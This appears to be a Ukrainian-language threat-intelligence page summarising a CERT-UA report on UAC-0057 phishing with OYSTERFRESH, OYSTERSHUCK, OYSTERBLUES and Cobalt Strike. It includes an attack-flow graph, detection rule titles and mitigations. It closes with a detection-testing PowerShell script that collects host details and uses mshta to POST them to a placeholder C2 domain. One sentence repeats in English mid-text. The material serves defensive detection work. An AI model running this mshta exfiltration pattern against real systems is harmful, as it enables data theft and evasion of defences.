UAC-0057 оновлює свій інструментарій за допомогою OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
CERT-UA повідомила про фішингову кампанію, спрямовану на українські урядові організації. Листи містять PDF-вкладення, які перенаправляють отримувачів до ZIP-архівів, що містять шкідливі JavaScript-файли, відомі як OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES. Після виконання шкідливе програмне забезпечення збирає інформацію про систему та надсилає її через HTTP POST-запити, з можливістю отримання компонента Cobalt Strike на пізнішому етапі. Підтримуюча інфраструктура приховується за Cloudflare та широко використовує .icu домени.
Розслідування
Аналіз CERT-UA ідентифікував зразки шкідливого JavaScript, методи декодування, на які вони спираються, включаючи реверсування рядків, ротацію на 13 символів (ROT13) та URL-декодування, а також зміни у реєстрі, які використовуються для підтримки стійкості. Дослідники також задокументували кілька артефактів файлів і шляхів Windows, пов’язаних з ланцюжком інфекції. Аналіз мережі пов’язав діяльність з хостинговою інфраструктурою, що захищається Cloudflare. Звіт далі відзначає можливу подальшу доставку маяка Cobalt Strike. .icu hosting infrastructure. The report further notes the possible follow-on delivery of a Cobalt Strike beacon.
Пом’якшення
Організації повинні обмежити виконання wscript.exe для стандартних користувачів, обмежити виконання як PowerShell, так і JavaScript, і контролювати перелічені ключі реєстру Run на предмет підозрілих змін. Веб-фільтрація повинна використовуватися для блокування .icu доменів і, де доречно, пов’язаних з Cloudflare IP-діапазонів, які асоціюються з кампанією. Захисники також повинні застосовувати контроль мінімальних привілеїв і запобігати автоматичному виконанню невідомих бінарних файлів.
Відповідь
Команди безпеки повинні створити засоби для виявлення визначених імен файлів, ключів реєстру та вихідного трафіку HTTP POST до відомих доменів. Мисливство також повинно охоплювати можливе навантаження Cobalt Strike, включаючи CSBEACON DLL, і будь-яке заплановане завдання з назвою MicrosoftEdgeUpdateTaskMachine. Розслідування кінцевих точок повинні збирати дерева процесів, щоб відстежити ланцюжок декодування та виконання JavaScript.
graph TB %% Визначення класів classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% Вузли action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг</b><br/>Spearphishing з вкладенням: електронний лист із шкідливим PDF, що містить посилання на ZIP”] class action_phishing action action_user_exec[“<b>Дія</b> – <b>T1204.002 Виконання користувачем</b><br/>Жертва відкриває PDF/ZIP і запускає JavaScript OYSTERFRESH”] class action_user_exec action malware_oysterfresh[“<b>Шкідливе ПЗ</b> – OYSTERFRESH<br/>JavaScript-файл, доставлений у ZIP, точка входу атаки”] class malware_oysterfresh malware action_obfuscate[“<b>Дія</b> – <b>T1027.008 Обфускація</b><br/>Обфускований payload через реверс рядків, ROT13 та URL-декодування”] class action_obfuscate action malware_oysterblues[“<b>Шкідливе ПЗ</b> – OYSTERBLUES<br/>Створює записи реєстру та запускає компоненти закріплення”] class malware_oysterblues malware tool_wscript[“<b>Інструмент</b> – wscript.exe<br/>Windows Script Host для виконання додаткових JavaScript-компонентів”] class tool_wscript tool action_proxy_exec[“<b>Дія</b> – <b>T1127 Проксі-виконання</b><br/>Використання wscript.exe для запуску OYSTERSHUCK та OYSTERBLUES”] class action_proxy_exec action action_persistence[“<b>Дія</b> – <b>T1547.014 Закріплення</b><br/>Створення HKCU Run ключів для запуску MicrosoftEdgeUpdate.exe та EdgeApp.exe при вході в систему”] class action_persistence action action_discovery[“<b>Дія</b> – <b>T1057 Виявлення процесів</b><br/>Збір списку процесів, імені комп’ютера, користувача, версії ОС та часу завантаження”] class action_discovery action process_c2[“<b>Процес</b> – HTTP POST до C2-сервера<br/>Відправка зібраної системної інформації”] class process_c2 process action_embedded_payload[“<b>Дія</b> – <b>T1027.009 Вбудований payload</b><br/>Cobalt Strike beacon, вбудований у JavaScript і виконаний через eval”] class action_embedded_payload action malware_cobalt_strike[“<b>Шкідливе ПЗ</b> – Cobalt Strike beacon<br/>Вбудований шкідливий payload”] class malware_cobalt_strike malware %% Зв’язки action_phishing –>|доставка| action_user_exec action_user_exec –>|запуск| malware_oysterfresh malware_oysterfresh –>|виконує| action_obfuscate action_obfuscate –>|створює| malware_oysterblues malware_oysterblues –>|використовує| tool_wscript tool_wscript –>|активує| action_proxy_exec action_proxy_exec –>|виконує| malware_oysterblues action_proxy_exec –>|виконує| malware_oysterfresh action_proxy_exec –>|виконує| malware_cobalt_strike action_persistence –>|створює| process_c2 action_discovery –>|надсилає до| process_c2 action_embedded_payload –>|виконує| malware_cobalt_strike
Потік атаки
Засоби виявлення
Можливі точки стійкості [ASEPs – Software/NTUSER Hive] (через подію реєстру)
Перегляд
Підозріла File Exstension Додана до Ключів Run [ASEPs] (через подію реєстру)
Перегляд
Витяг архіву безпосередньо з поштового клієнта (через створення процесу)
Перегляд
Виконання з ZIP-архіву [7zip] (через створення процесу)
Перегляд
Виконання з RAR-архіву [WinRAR] (через створення процесу)
Перегляд
LOLBAS WScript / CScript (через створення процесу)
Перегляд
LOLBAS RunDLL32 (через cmdline)
Перегляд
Підозрілі Витягнуті Файли з Архіву (через подію файлу)
Перегляд
Підозріле Заплановане Завдання (через аудит)
Перегляд
Підозріле Керування і Контроль з Незвичайним Доменом Вищого Рівня (TLD) DNS Запит (через dns)
Перегляд
Індикатори компрометації (HashSha256) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 2
Перегляд
Індикатори компрометації (HashSha256) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 1
Перегляд
Індикатори компрометації (HashSha1) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Перегляд
Індикатори компрометації (HashMd5) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 2
Перегляд
Індикатори компрометації (HashMd5) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES Частина 1
Перегляд
Індикатори компрометації (SourceIP) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Перегляд
Індикатори компрометації (DestinationIP) для виявлення: Оновлений інструментарій UAC-0057: OYSTERFRESH, OYSTERSHUCK та OYSTERBLUES
Перегляд
Виявлення ексфільтрації OYSTERBLUES через HTTP POST на .icu домени [Підключення мережі Windows]
Перегляд
Виявлення шкідливого виконання JavaScript через wscript.exe [Створення процесу Windows]
Перегляд
Виконання симуляції
Передумова: Телеметрія і перевірка базових показників повинні пройти.
Обґрунтування: У цьому розділі детально викладено точне виконання техніки супротивника (TTP), розробленої для активізації правила виявлення. Команди та підходи прямо відображають визначені TTP та призводять до виникнення очікуваної телеметрії згідно з логікою виявлення.
-
Сценарій атаки та команди:
Зловмисник використовує підписаний бінарний файл Windows (mshta.exe) для запуску невеликого JavaScript-навантаження, яке збирає інформацію про систему та ексфільтрує її через HTTP POST на шкідливий домен “*.icu”, що контролюється сервером C2. Такий підхід “життя за рахунок ресурсів системи” дозволяє уникнути оповіщень AV, створюючи при цьому точну подію мережевого екрану, яку відстежує правило (POST + “.icu”). -
Скрипт регресійного тестування:
# Симуляція ексфільтрації у стилі OYSTERBLUES # 1. Закодувати мінімальну інформацію про систему в JSON $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. Записати тимчасовий HTML-файл, що запускатиме JS fetch POST $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. Виконати через mshta (підписане бінарне виконання через проксі) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. Дати запиту час завершитися, а потім очистити Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
Команди очищення:
# Переконатися, що всі процеси mshta завершені Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # Видалити залишкові тимчасові файли (якщо такі є) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }